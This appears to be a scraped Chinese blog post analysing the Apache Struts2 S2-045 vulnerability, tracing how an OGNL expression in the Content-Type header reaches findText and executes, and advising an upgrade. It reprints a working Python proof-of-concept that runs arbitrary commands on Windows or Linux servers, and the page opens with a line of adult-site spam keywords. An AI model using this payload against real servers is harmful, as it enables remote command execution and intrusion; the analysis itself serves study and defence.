日韩性视频-久久久蜜桃-www中文字幕-在线中文字幕av-亚洲欧美一区二区三区四区-撸久久-香蕉视频一区-久久无码精品丰满人妻-国产高潮av-激情福利社-日韩av网址大全-国产精品久久999-日本五十路在线-性欧美在线-久久99精品波多结衣一区-男女午夜免费视频-黑人极品ⅴideos精品欧美棵-人人妻人人澡人人爽精品欧美一区-日韩一区在线看-欧美a级在线免费观看

歡迎訪問 生活随笔!

生活随笔

當前位置: 首頁 > 编程资源 > 编程问答 >内容正文

编程问答

s2-045 java_S2-045漏洞初步分析

發布時間:2024/4/11 编程问答 29 豆豆
生活随笔 收集整理的這篇文章主要介紹了 s2-045 java_S2-045漏洞初步分析 小編覺得挺不錯的,現在分享給大家,幫大家做個參考.

0x01 前言

前幾天剛分析完s2-032這個漏洞,今天又爆發了一個s2-045的漏洞,又是直接的命令執行,影響了struts2絕大多數的版本.

官方給的漏洞公告在這里?? https://cwiki.apache.org/confluence/display/WW/S2-045

受影響版本:Struts 2.3.5 - Struts 2.3.31, Struts 2.5 -Struts 2.5.10

其實昨天就看到朋友圈有人在發這個漏洞,一看是s2-045,心想著struts2的問題可真多,編號都排到45了,就像道哥說的一樣如果一個軟件出現的漏洞較多,那么說明代碼維護者的安全意識與安全經驗有所欠缺,同時由于破窗效應,這個軟件未來往往出現更多的漏洞,struts2確實讓人不太省心,然后當時也給自己一個做j2ee開發的朋友說s2又爆出了一個漏洞,他還不在乎的說誰現在還用struts2啊,我們現在都用SpringMVC了,但是自己測試了幾個大型的網站,還是受到了s2-045漏洞的影響,仔細想想的確現在開發j2ee struts2框架的很少了,但是一些網站的老系統之前都是用的s2框架,而這些可能又是和他們業務息息相關的,一時的完全替代成本太高,所以基本是就是“修修補補又三年”的狀態。

0x02 poc分析

網上流傳的poc傳播的很快,代碼如下:

#! /usr/bin/env python#encoding:utf-8

importurllib2importsysfrom poster.encode importmultipart_encodefrom poster.streaminghttp importregister_openersdefpoc():

register_openers()

datagen, header= multipart_encode({"image1": open("tmp.txt", "rb")})

header["User-Agent"]="Mozilla/5.0 (Macintosh; Intel Mac OS X 10_12_3) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/56.0.2924.87 Safari/537.36"header["Content-Type"]="%{(#nike='multipart/form-data').(#dm=@ognl.OgnlContext@DEFAULT_MEMBER_ACCESS).(#_memberAccess?(#_memberAccess=#dm):((#container=#context['com.opensymphony.xwork2.ActionContext.container']).(#ognlUtil=#container.getInstance(@com.opensymphony.xwork2.ognl.OgnlUtil@class)).(#ognlUtil.getExcludedPackageNames().clear()).(#ognlUtil.getExcludedClasses().clear()).(#context.setMemberAccess(#dm)))).(#cmd='"+sys.argv[2]+"').(#iswin=(@java.lang.System@getProperty('os.name').toLowerCase().contains('win'))).(#cmds=(#iswin?{'cmd.exe','/c',#cmd}:{'/bin/bash','-c',#cmd})).(#p=new java.lang.ProcessBuilder(#cmds)).(#p.redirectErrorStream(true)).(#process=#p.start()).(#ros=(@org.apache.struts2.ServletActionContext@getResponse().getOutputStream())).(@org.apache.commons.io.IOUtils@copy(#process.getInputStream(),#ros)).(#ros.flush())}"request= urllib2.Request(str(sys.argv[1]),datagen,headers=header)

response=urllib2.urlopen(request)printresponse.read()

poc()

之前測試s2-032的環境struts2的版本就是2.3.28,也是這次漏洞受影響的版本,所以是直接就可以拿來用。

wireshark抓個包看看。如下圖所示:

從poc和wireshark中可以看到,惡意的payload是以http header中的Content-type為載體的,最終導致ognl表達式的命令執行的目的。這個poc的ognl表達式和之前的s2-032不同,還是頗有講究的,對win和linux做了兼容性處理。

0x03 漏洞分析

過程回溯

通過patch對比發現

變化就在return的這行,從所在的類名和函數名buildErrorMessage可以看出應該是當對Mulitpart解析出錯之后“建立”錯誤消息,那我們在這里加個斷點試試看,加斷點之后發現當代碼執行完這行到這一步的時候,對應的我們的命令就執行了,如下圖

據此可以判定這里就是問題所在的地方,那這個findtext又是什么來路?我們來看看這個函數的定義:

public staticString findText(Class aClass, String aTextName, Locale locale, String defaultMessage, Object[] args) {

ValueStack valueStack=ActionContext.getContext().getValueStack();returnfindText(aClass, aTextName, locale, defaultMessage, args, valueStack);

}/*** Finds a localized text message for the given key, aTextName. Both the key and the message

* itself is evaluated as required. The following algorithm is used to find the requested

* message:

*

*

*

Look for message in aClass' class hierarchy.

*

*

Look for the message in a resource bundle for aClass

*

If not found, look for the message in a resource bundle for any implemented interface

*

If not found, traverse up the Class' hierarchy and repeat from the first sub-step

*

*

If not found and aClass is a {@linkModelDriven} Action, then look for message in

* the model's class hierarchy (repeat sub-steps listed above).

*

If not found, look for message in child property. This is determined by evaluating

* the message key as an OGNL expression. For example, if the key is

* user.address.state, then it will attempt to see if "user" can be resolved into an

* object. If so, repeat the entire process fromthe beginning with the object's class as

* aClass and "address.state" as the message key.

*

If not found, look for the message in aClass' package hierarchy.

*

If still not found, look for the message in the default resource bundles.

*

Return defaultMessage

*

*

* When looking for the message, if the key indexes a collection (e.g. user.phone[0]) and a

* message for that specific key cannot be found, the general form will also be looked up

* (i.e. user.phone[*]).

*

* If a message is found, it will also be interpolated. Anything within ${...}

* will be treated as an OGNL expression and evaluated as such.

*

* If a message is not found a WARN log will be logged.

*

*@paramaClass the class whose name to use as the start point for the search

*@paramaTextName the key to find the text message for

*@paramlocale the locale the message should be for

*@paramdefaultMessage the message to be returned if no text message can be found in any

* resource bundle

*@paramvalueStack the value stack to use to evaluate expressions instead of the

* one in the ActionContext ThreadLocal

*@returnthe localized text, or null if none can be found and no defaultMessage is provided*/

大致的意思是通過給定的key和aTextname找到本地化的text message,關鍵點在key這個參數會進行ognl表達式的執行。不斷跟進代碼,我們最終發現了ognl表達式和我們的payload是在LocalizedTextUtil類的getDefaultMessage()這個函數里面最終執行的。

可見漏洞產生的關鍵點是在處理 error message產生了問題,message拼接了用戶的“輸入”,而這個message參數會傳遞到transalteVariables()這個函數,這個函數的定義如下:

/*** Converted object from variable translation.

*

*@paramopen

*@paramexpression

*@paramstack

*@paramasType

*@paramevaluator

*@returnConverted object from variable translation.*/

public static Object translateVariables(char[] openChars, String expression, final ValueStack stack, final Class asType, final ParsedValueEvaluator evaluator, intmaxLoopCount) {

ParsedValueEvaluator ognlEval= newParsedValueEvaluator() {publicObject evaluate(String parsedValue) {

Object o=stack.findValue(parsedValue, asType);if (evaluator != null && o != null) {

o=evaluator.evaluate(o.toString());

}returno;

}

};

expression是要被用作ognl表達式執行的,這個時候就boom,命令執行了。

0x04 小結

攻擊者構造的header中的Content-Type會經過dispatcher.multipart包中Jakarta相關類的處理,但是解析出錯,而且是未定義的錯誤,那么程序就將這個錯誤message“輸出”出來,但在輸出的時候還拼接了用戶的輸入,而且還被當做ognl表達式來執行(有些不太讓人理解?為了更友好的展示錯誤輸出信息?),這樣就導致了命令執行。

0x05 防御

升級至最新版本

0x06 Reference

1.http://paper.seebug.org/241/?from=timeline&isappinstalled=0

超強干貨來襲 云風專訪:近40年碼齡,通宵達旦的技術人生

總結

以上是生活随笔為你收集整理的s2-045 java_S2-045漏洞初步分析的全部內容,希望文章能夠幫你解決所遇到的問題。

如果覺得生活随笔網站內容還不錯,歡迎將生活随笔推薦給好友。